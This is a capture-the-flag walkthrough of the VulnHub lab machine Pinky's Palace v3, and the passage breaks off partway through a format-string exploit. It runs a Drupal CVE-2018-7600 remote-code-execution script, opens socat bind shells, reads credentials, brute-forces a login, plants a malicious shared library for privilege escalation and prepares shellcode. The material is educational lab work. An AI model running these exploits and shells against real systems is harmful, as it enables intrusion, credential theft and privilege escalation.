Details
This machine is https://www.vulnhub.com/entry/pinkys-palace-v3,237/
Recon Phase
I started by locating my target
root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00017s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00053s latency).
MAC Address: 08:00:27:6B:5A:D1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00060s latency).
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.94 seconds
From there I carried out a service discovery scan on it
root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.000081s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
5555/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
8000/tcp open http nginx 1.10.3
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
And then let nmap run some scripts against it
root@kali:~# nmap -sC 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 173 May 14 17:37 WELCOME
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.101
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5555/tcp open freeciv
8000/tcp open http-alt
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: PinkDrup
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
FTP Check
As anon ftp was enabled I went to ftp://192.168.56.102 to check it
There was only 1 file. So, I checked it out
Drupal Time
My next step was to access the webserver on port 8000 by going to http://192.168.56.102:8000
It was immediately clear the system was running drupal, and I also now had one potential username, of
pinkadmin
I took a look at the /robots.txt
[SNIP]
Disallow: /CHANGELOG.txt
[SNIP]
The presence of the changelog file was promising as it could leak the version number of drupal allowing me to find potential exploits
This revealed the version was vulnerable to CVE-2018-7600, so I put together an implementation of it which is available on my Github (There is a version for drupal 8 aswell), once it was ready, I tested it against the target
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -c "cat /etc/passwd" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
ftp:x:107:111:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:108:113:MySQL Server,,,:/nonexistent:/bin/false
pinksec:x:1001:1001::/home/pinksec:/bin/bash
pinksecmanagement:x:1002:1002::/home/pinksecmanagement:/bin/bash
This confirmed vulnerability to the exploit and I now had RCE on the target, I tried to open a reverse shell in multiple ways but couldn't get it to work, so I began to investigate why
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -c "id" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
My investigation eventually led to the firewalll
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -c "ls -la /etc/iptables" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: total 16
drwxr-xr-x 2 root root 4096 May 14 20:57 .
drwxr-xr-x 81 root root 4096 May 15 04:23 ..
-rw-r--r-- 1 root root 295 May 15 02:46 rules.v4
-rw-r--r-- 1 root root 285 May 15 02:46 rules.v6
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -c "cat /etc/iptables/rules.v4" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: # Generated by iptables-save v1.6.0 on Tue May 15 02:46:06 2018
*filter
:INPUT ACCEPT [714:49326]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [442:57902]
-A OUTPUT -o eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG SYN -m state --state NEW -j DROP
COMMIT
This revealed why the reverse shell wasn't working, the firewall was blocking it, so I began to dig around using my RCE instead
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -c "ls -la /home" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: total 20
drwxr-xr-x 5 root root 4096 May 12 18:36 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
drwx------ 5 pinksec pinksec 4096 May 14 18:58 pinksec
drwx------ 2 pinksecmanagement pinksecmanagement 4096 May 14 18:58 pinksecmanagement
drwx------ 2 pinky pinky 4096 May 15 02:47 pinky
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "find / -user pinky 2>/dev/null"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/local/bin/PSMCCLI
/home/pinky
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "find / -perm -u=s"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/local/bin/PSMCCLI
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/bin/umount
/bin/su
/bin/ping
/bin/mount
The PSMCCLI program was both setuid and owned by pinky, but I couldn't do anything with it yet. At this point I got annoyed with not having a shell and began to look into more ways to try and get one, eventually coming across socat
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "which socat"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/bin/socat
Now knowing I had socat I did some research into how to use to get a shell and came across https://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html which I them tried
root@kali@~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
This then hung which was a good sign as it indicated the program wasn't exiting
root@kali:~# socat FILE:`tty`,raw,echo=0 TCP:192.168.56.102:4444
www-data@pinkys-palace:~/html$
Exposing ports
With a proper shell I could do more and began to look for potential creds
www-data@pinkys-palace:~/html$ cat sites/default/settings.php
[SNIP]
$databases = array ( 'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'dpink',
'password' => 'drupink',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
[SNIP]
With some db creds I tried to access it
www-data@pinkys-palace:~/html$ mysql -u dpink -p
Using drupink as the password
MariaDB [(none)]>
I could now execute commands against the sql server
MariaDB [(none)]> use drupal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [drupal]> select name,pass from users;
+-----------+---------------------------------------------------------+
| name | pass |
+-----------+---------------------------------------------------------+
| | |
| pinkadmin | $S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup |
+-----------+---------------------------------------------------------+
2 rows in set (0.00 sec)
I made an attempt to crack this hash but it didn't pay off, so I moved on. Looking next at processes
www-data@pinkys-palace:~/html$ ps -aux
[SNIP]
pinksec 544 0.0 0.3 139324 6228 ? S 16:52 0:00 /usr/sbin/apach
pinksec 545 0.0 0.3 139324 6220 ? S 16:52 0:00 /usr/sbin/apach
pinksec 546 0.0 0.3 139324 6236 ? S 16:52 0:00 /usr/sbin/apach
pinksec 547 0.0 0.3 139324 6236 ? S 16:52 0:00 /usr/sbin/apach
pinksec 548 0.0 0.3 139324 6236 ? S 16:52 0:00 /usr/sbin/apach
[SNIP]
From here I went to find the config files for these apache instances
www-data@pinkys-palace:~/html$ cd /etc/apache2
www-data@pinkys-palace:/etc/apache2$ ls -la
drwxr-xr-x 8 root root 4096 May 10 22:45 .
drwxr-xr-x 81 root root 4096 May 15 04:23 ..
-rw-r--r-- 1 root root 7224 May 9 03:41 apache2.conf
drwxr-xr-x 2 root root 4096 May 8 19:04 conf-available
drwxr-xr-x 2 root root 4096 May 8 19:04 conf-enabled
-rw-r--r-- 1 root root 1780 May 9 03:41 envvars
-rw-r--r-- 1 root root 31063 Mar 30 08:07 magic
drwxr-xr-x 2 root root 12288 May 10 22:51 mods-available
drwxr-xr-x 2 root root 4096 May 10 22:51 mods-enabled
-rw-r--r-- 1 root root 352 May 9 03:14 ports.conf
drwxr-xr-x 2 root root 4096 May 10 22:44 sites-available
drwxr-xr-x 2 root root 4096 May 9 04:54 sites-enabled
www-data@pinkys-palace:/etc/apache2$ cd sites-enabled/
www-data@pinkys-palace:/etc/apache2/sites-enabled$ ls -la
drwxr-xr-x 2 root root 4096 May 9 04:54 .
drwxr-xr-x 8 root root 4096 May 10 22:45 ..
lrwxrwxrwx 1 root root 35 May 8 19:04 000-default.conf -> ../sites-available/000-default.conf
www-data@pinkys-palace:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost 127.0.0.1:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin pinkyadmin@localhost
DocumentRoot /home/pinksec/html
<Directory "/home/pinksec/html">
Order allow,deny
Allow from all
Require all granted
</Directory>
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost 127.0.0.1:65334>
DocumentRoot /home/pinksec/database
ServerAdmin pinkyadmin@localhost
<Directory "/home/pinksec/database">
Order allow,deny
Allow from all
Require all granted
</Directory>
</VirtualHost>
There were 2 other webservers running only to localhost, but from my research into socat earlier I knew it could tunnel the ports, so I set it up
www-data@pinkys-palace:/etc/apache2/sites-enabled$ socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
www-data@pinkys-palace:/etc/apache2/sites-enabled$ socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &
To check this worked I fired up nmap again
root@kali:~# nmap -sV -p- 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00020s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
4444/tcp open nagios-nsca Nagios NSCA
5555/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
8000/tcp open http nginx 1.10.3
8888/tcp open http Apache httpd 2.4.25 ((Debian))
9999/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.33 seconds
I could now access the other webservers, starting with http://192.168.56.102:8888
On which I setup dirbuster
Before attempting a brute force on this login form I moved onto the other server at http://192.168.56.102:9999
Then dirbustered against that too
Now what was confusing was the server on 9999 was sourced from a folder called database, but didn't provide a database, I took a guess on this that it has a database file on it, now most database files use the extension .db, and sqlmap provides some wordlists of common database names, so I used those with wfuzz to take a look
root@kali:~# wfuzz -w /usr/share/sqlmap/txt/common-tables.txt --sc 200 http://192.168.56.102:9999/FUZZ.db
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://192.168.56.102:9999/FUZZ.db
Total requests: 3372
==================================================================
ID Response Lines Word Chars Payload
==================================================================
[SNIP]
001877: C=200 18 L 18 W 221 Ch "pwds"
[SNIP]
Total time: 5.116209
Processed Requests: 3372
Filtered Requests: 3354
Requests/sec.: 659.0817
Wfuzz paid off and found a file called pwds.db
The ordering of the passwords didn't look right to me, and as I was expecting to brue force here, I wanted the passwords to be in likelihood order, so I rearranged the list to
pinkyspass
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
administrator
consoleadmin
pinksec133754
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju
Which I saved as ordered.txt, I also had a list of potential usernames taken from the other web app and the server
pinkadmin
pinky
pinksecmanagement
pinksec
The last thing I needed was potential pins, so I wrote a batch script to generate them which I called pingen.sh
#!/bin/bash
for i in $(seq 0 9);
do
for j in $(seq 0 9);
do
for k in $(seq 0 9);
do
for l in $(seq 0 9);
do
for m in $(seq 0 9);
do
echo $i$j$k$l$m;
done
done
done
done
done
I then made it executable
root@kali:~# chmod +x pingen.sh
With the script ready I generated the list of pins
root@kali:~# ./pingen.sh > pins.txt
I wasn't sure how to use hydra http-post-form with 3 variables so I set the usernames manually, starting with "pinkadmin"
root@kali:~# hydra -L pins.txt -P ordered.txt 192.168.56.102 -s 8888 http-post-form "/login.php:user=pinkadmin&pass=^PASS^&pin=^USER^:F=Incorrect"
After a fair amount of time
[8888][http-post-form] host: 192.168.56.102 login: 55849 password: AaPinkSecaAdmin4467
With this I knew the login details were
username: pinkadmin
password: AaPinkSecaAdmin4467
pin: 55849
And I used these creds to login
This looked like a shell so I tried it out
I used this to setup a shell, entering into the web shell
socat TCP-LISTEN:2222,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Then opening a shell
root@kali:~# socat FILE:`tty`,raw,echo=0 TCP:192.168.56.102:2222
pinksec@pinkys-palace:/home/pinksec/html/PinkysC0n7r0lP4n31337$
User hopping
With this I began to look around again
pinksec@pinkys-palace:/home/pinksec/html/PinkysC0n7r0lP4n31337$ cd ~
pinksec@pinkys-palace:/home/pinksec$ ls -la
drwx------ 5 pinksec pinksec 4096 May 14 18:58 .
drwxr-xr-x 5 root root 4096 May 12 18:36 ..
lrwxrwxrwx 1 root root 9 May 12 23:15 .bash_history -> /dev/null
-rw-r--r-- 1 pinksec pinksec 220 May 15 2017 .bash_logout
-rw-r--r-- 1 pinksec pinksec 3526 May 15 2017 .bashrc
-rw-r--r-- 1 pinksec pinksec 675 May 15 2017 .profile
drwxr-xr-x 2 pinksec pinksec 4096 May 15 00:15 bin
drwxr-xr-x 2 pinksec pinksec 4096 May 12 18:31 database
drwxr-xr-x 3 pinksec pinksec 4096 May 12 18:40 html
pinksec@pinkys-palace:/home/pinksec$ cd bin
pinksec@pinkys-palace:/home/pinksec/bin$ ls -la
drwxr-xr-x 2 pinksec pinksec 4096 May 15 00:15 .
drwx------ 5 pinksec pinksec 4096 May 14 18:58 ..
-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7508 May 13 23:10 pinksecd
I found a binary as another user with the setuid bit set, so I tried to run it
pinksec@pinkys-palace:/home/pinksec/bin$ ./pinksecd
[+] PinkSec Daemon [+]
Options: -d: daemonize, -h: help
Soon to be host of pinksec web application.
To inspect it I copied it to the webserver so I could exfil it
pinksec@pinkys-palace:/home/pinksec/bin$ cp pinksecd ../html
With it copied I went to http://192.168.56.102:8888/pinksecd and exfiled it
With the file local, I could now inspect it
root@kali:~# gdb ./pinksecd
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x000004c8 _init
0x00000500 psbanner@plt
0x00000510 psopt@plt
0x00000520 puts@plt
0x00000530 __libc_start_main@plt
0x00000540 psoptin@plt
0x00000550 __cxa_finalize@plt
0x00000558 __gmon_start__@plt
0x00000560 _start
0x000005a0 __x86.get_pc_thunk.bx
0x000005b0 deregister_tm_clones
0x000005f0 register_tm_clones
0x00000640 __do_global_dtors_aux
0x00000690 frame_dummy
0x000006cc __x86.get_pc_thunk.dx
0x000006d0 main
0x00000740 __libc_csu_init
0x000007a0 __libc_csu_fini
0x000007a4 _fini
The bit which stood out here was
0x00000500 psbanner@plt
0x00000510 psopt@plt
0x00000520 puts@plt
And it was the @plt which indicated to me that it was loading these functions from a shared library, and I went to test this theory
(gdb) run
/root/pinksecd: error while loading shared libraries: libpinksec.so: cannot open shared object file: No such file or directory
[Inferior 1 (process 2514) exited with code 0177]
That was pretty conclusive, it was loading from a shared library called libpinksec.so which I had to find
pinksec@pinkys-palace:/home/pinksec/bin$ find / -type f -name libpinksec.so 2>/dev/null
/lib/libpinksec.so
With the file located I took a look at it
pinksec@pinkys-palace:/home/pinksec/bin$ cd /lib
pinksec@pinkys-palace:/lib$ ls -la
drwxr-xr-x 14 root root 4096 May 14 23:52 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
drwxr-xr-x 2 root root 4096 Apr 19 17:46 console-setup
lrwxrwxrwx 1 root root 21 May 13 22:43 cpp -> /etc/alternatives/cpp
drwxr-xr-x 2 root root 4096 Apr 19 17:49 discover
drwxr-xr-x 2 root root 4096 Apr 19 17:50 hdparm
drwxr-xr-x 3 root root 12288 May 7 17:40 i386-linux-gnu
drwxr-xr-x 2 root root 4096 Apr 19 17:45 ifupdown
drwxr-xr-x 2 root root 4096 Apr 19 17:44 init
-rwxr-xr-x 1 root root 78392 May 8 2016 klibc-rBb4n9zs2Ri-TucnLVZwCHjM8M4.so
lrwxrwxrwx 1 root root 25 Jan 14 2018 ld-linux.so.2 -> i386-linux-gnu/ld-2.24.so
-rwxrwxrwx 1 root root 7136 May 14 23:52 libpinksec.so
drwxr-xr-x 3 root root 4096 Apr 19 17:44 lsb
drwxr-xr-x 2 root root 4096 Apr 19 17:49 modprobe.d
drwxr-xr-x 3 root root 4096 Apr 19 17:46 modules
drwxr-xr-x 8 root root 4096 Apr 19 17:49 systemd
drwxr-xr-x 15 root root 4096 Apr 19 17:43 terminfo
drwxr-xr-x 4 root root 4096 Apr 19 17:50 udev
The relevant shared library was world writable, this meant I could replace it with a malicious copy, I started by backing up the original
pinksec@pinkys-palace:/lib$ cp libpinksec.so /home/pinksec/libpinksec.so.bak
And then setup the malicious version
pinksec@pinkys-palace:/lib$ cd /tmp
pinksec@pinkys-palace:/tmp$ which gcc
/usr/bin/gcc
pinksec@pinkys-palace:/tmp$ vim libpinksec.c
I ended up with
#include <stdlib.h>
#include <unistd.h>
int psopt() {
setreuid(1002,1002);
execve("/bin/sh", NULL, NULL);
}
int psbanner() {
setreuid(1002,1002);
execve("/bin/sh", NULL, NULL);
}
int psoptin() {
setreuid(1002,1002);
execve("/bin/sh", NULL, NULL);
}
With the code ready, I compiled the shared library and replaced the version used by the binary
pinksec@pinkys-palace:/tmp$ gcc -c -fpic libpinksec.c
pinksec@pinkys-palace:/tmp$ gcc -shared libpinksec.o -o libpinksec.so
pinksec@pinkys-palace:/tmp$ ls -la
drwxrwxrwt 2 root root 4096 Sep 3 08:33 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
-rw-r--r-- 1 pinksec pinksec 294 Sep 3 08:31 libpinksec.c
-rw-r--r-- 1 pinksec pinksec 1644 Sep 3 08:32 libpinksec.o
-rwxr-xr-x 1 pinksec pinksec 7040 Sep 3 08:33 libpinksec.so
pinksec@pinkys-palace:/tmp$ cp libpinksec.so /lib
The malicious library was now in place, so I ran the binary again
pinksec@pinkys-palace:/tmp$ cd ~/bin
pinksec@pinkys-palace:/home/pinksec/bin$ ./pinksecd
$
This popped me another shell
$ whoami
pinksecmanagement
$ python -c "import pty;pty.spawn('/bin/bash')"
pinksecmanagement@pinkys-palace:/home/pinksec/bin$
I was now capable of running the setuid bit I found earlier
pinksecmanagement@pinkys-palace:/home/pinksec/bin$ cd /usr/local/bin/
pinksecmanagement@pinkys-palace:/usr/local/bin$ ls -la
drwxrwsr-x 2 root staff 4096 May 14 19:06 .
drwxrwsr-x 10 root staff 4096 Apr 19 17:44 ..
-rwsrwx--- 1 pinky pinksecmanagement 7396 May 14 19:06 PSMCCLI
I tried to run it
pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI
bash: ./PSMCCLI: Permission denied
This confused me slightly, but then I realised I had priv esced by using a setuid bit, my group hadn't changed. I quickly confirmed this
pinksecmanagement@pinkys-palace:/usr/local/bin$ id
uid=1002(pinksecmanagement) gid=1001(pinksec) groups=1001(pinksec)
But this was an easy fix
pinksecmanagement@pinkys-palace:/usr/local/bin$ newgrp
pinksecmanagement@pinkys-palace:/usr/local/bin$ id
uid=1002(pinksecmanagement) gid=1002(pinksecmanagement) groups=1002(pinksecmanagement),1001(pinksec)
I was now capable of running the binary
pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI
[+] Pink Sec Management Console CLI
I tried providing some args
pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI test
[+] Args: test
From here I tried to crash it
pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI $(python -c "print 'A'*250")
But I couldn't get it to crash, my next best guess was a format string bug. I tested this
pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI %x
This printed back some data which looked like data from the stack, so I went to exfil it
pinksecmanagement@pinkys-palace:/usr/local/bin$ python -m SimpleHTTPServer 7777
And went to http://192.168.56.102:7777/PSMCCLI to exfil it
root@kali:~# gdb PSMCCLI
(gdb) disas main
Dump of assembler code for function main:
0x080484e4 <+0>: lea ecx,[esp+0x4]
0x080484e8 <+4>: and esp,0xfffffff0
0x080484eb <+7>: push DWORD PTR [ecx-0x4]
0x080484ee <+10>: push ebp
0x080484ef <+11>: mov ebp,esp
0x080484f1 <+13>: push ebx
0x080484f2 <+14>: push ecx
0x080484f3 <+15>: call 0x8048542 <__x86.get_pc_thunk.ax>
0x080484f8 <+20>: add eax,0x1b08
0x080484fd <+25>: mov edx,ecx
0x080484ff <+27>: cmp DWORD PTR [edx],0x1
0x08048502 <+30>: jg 0x804851f <main+59>
0x08048504 <+32>: sub esp,0xc
0x08048507 <+35>: lea edx,[eax-0x1a24]
0x0804850d <+41>: push edx
0x0804850e <+42>: mov ebx,eax
0x08048510 <+44>: call 0x8048350 <puts@plt>
0x08048515 <+49>: add esp,0x10
0x08048518 <+52>: mov eax,0x0
0x0804851d <+57>: jmp 0x8048538 <main+84>
0x0804851f <+59>: mov eax,DWORD PTR [edx+0x4]
0x08048522 <+62>: add eax,0x4
0x08048525 <+65>: mov eax,DWORD PTR [eax]
0x08048527 <+67>: sub esp,0xc
0x0804852a <+70>: push eax
0x0804852b <+71>: call 0x804849b <argshow>
0x08048530 <+76>: add esp,0x10
0x08048533 <+79>: mov eax,0x0
0x08048538 <+84>: lea esp,[ebp-0x8]
0x0804853b <+87>: pop ecx
0x0804853c <+88>: pop ebx
0x0804853d <+89>: pop ebp
0x0804853e <+90>: lea esp,[ecx-0x4]
0x08048541 <+93>: ret
End of assembler dump.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0804830c _init
0x08048340 printf@plt
0x08048350 puts@plt
0x08048360 exit@plt
0x08048370 __libc_start_main@plt
0x08048380 putchar@plt
0x08048390 __gmon_start__@plt
0x080483a0 _start
0x080483d0 __x86.get_pc_thunk.bx
0x080483e0 deregister_tm_clones
0x08048410 register_tm_clones
0x08048450 __do_global_dtors_aux
0x08048470 frame_dummy
0x0804849b argshow
0x080484e4 main
0x08048542 __x86.get_pc_thunk.ax
0x08048550 __libc_csu_init
0x080485b0 __libc_csu_fini
0x080485b4 _fini
0xf7fd6010 _dl_catch_exception@plt
0xf7fd6020 malloc@plt
0xf7fd6030 _dl_signal_exception@plt
0xf7fd6040 calloc@plt
0xf7fd6050 realloc@plt
0xf7fd6060 _dl_signal_error@plt
0xf7fd6070 _dl_catch_error@plt
0xf7fd6080 free@plt
0xf7fde680 _dl_rtld_di_serinfo
0xf7fe5360 _dl_debug_state
As the function which echo'd the args back at me was most likely "argshow" I disassembled it to take a look
(gdb) disas argshow
Dump of assembler code for function argshow:
0x0804849b <+0>: push ebp
0x0804849c <+1>: mov ebp,esp
0x0804849e <+3>: push ebx
0x0804849f <+4>: sub esp,0x4
0x080484a2 <+7>: call 0x80483d0 <__x86.get_pc_thunk.bx>
0x080484a7 <+12>: add ebx,0x1b59
0x080484ad <+18>: sub esp,0xc
0x080484b0 <+21>: lea eax,[ebx-0x1a30]
0x080484b6 <+27>: push eax
0x080484b7 <+28>: call 0x8048340 <printf@plt>
0x080484bc <+33>: add esp,0x10
0x080484bf <+36>: sub esp,0xc
0x080484c2 <+39>: push DWORD PTR [ebp+0x8]
0x080484c5 <+42>: call 0x8048340 <printf@plt>
0x080484ca <+47>: add esp,0x10
0x080484cd <+50>: sub esp,0xc
0x080484d0 <+53>: push 0xa
0x080484d2 <+55>: call 0x8048380 <putchar@plt>
0x080484d7 <+60>: add esp,0x10
0x080484da <+63>: sub esp,0xc
0x080484dd <+66>: push 0x0
0x080484df <+68>: call 0x8048360 <exit@plt>
End of assembler dump.
If it was a format string bug, I would want to overwrite the putchar function in the GOT as it is the next function after the printf, to get the location I would need to overwrite I disassembled the putchar function before running the program so it would contain the address it loads at runtime
(gdb) disas putchar
Dump of assembler code for function putchar@plt:
0x08048380 <+0>: jmp DWORD PTR ds:0x804a01c
0x08048386 <+6>: push 0x20
0x0804838b <+11>: jmp 0x8048330
End of assembler dump.
This meant I would want to overwrite 0x804a01c with the address of my shellcode. Now as format string vulns can be awkward to exploit I decided I would use an environment variable called SPAWN to hold my shellcode, and I would need to locate it in memory, so I used https://github.com/Partyschaum/haxe/blob/master/getenvaddr.c
Which I put together and compiled (NOTE: I had to use the pinksec user due to some issues with gcc)
pinkse@pinkys-palace:/tmp$ gcc getenvaddr.c -o getenvaddr
pinksec@pinkys-palace:/tmp$ chmod +x getenvaddr
From here I ran all commands related to the exploit from /tmp, and using the full path to the binary of /usr/local/bin/PSMCCLI as any changes to this could affect memory offsets
Next I had to select some shellcode, settling on http://shell-storm.org/shellcode/files/shellcode-811.php which I then put into the environment variable
pinksecmanagement@pinkys-palace:/usr/local/bin$ export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")
I could now locate where the environment variable will be in memory during execution of the target binary
pinksec@pinkys-palace:/tmp$ ./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbfffff9e
So I needed to put 0xbfffff9e into 0x804a01c. I began to ensure that the memory would be aligned correctly
pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBB$(python -c "print '%08x.'*200")
The plan will be to replace AAAA and BBBB with memory addresses of where I want to overwrite (I'll be overwriting two 2 byte locations rather than 1 4 bytes as it is easier)
It can be seen the stack is not quite aligned by 1 byte so I padded it
pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBBC$(python -c "print '%08x.'*200")
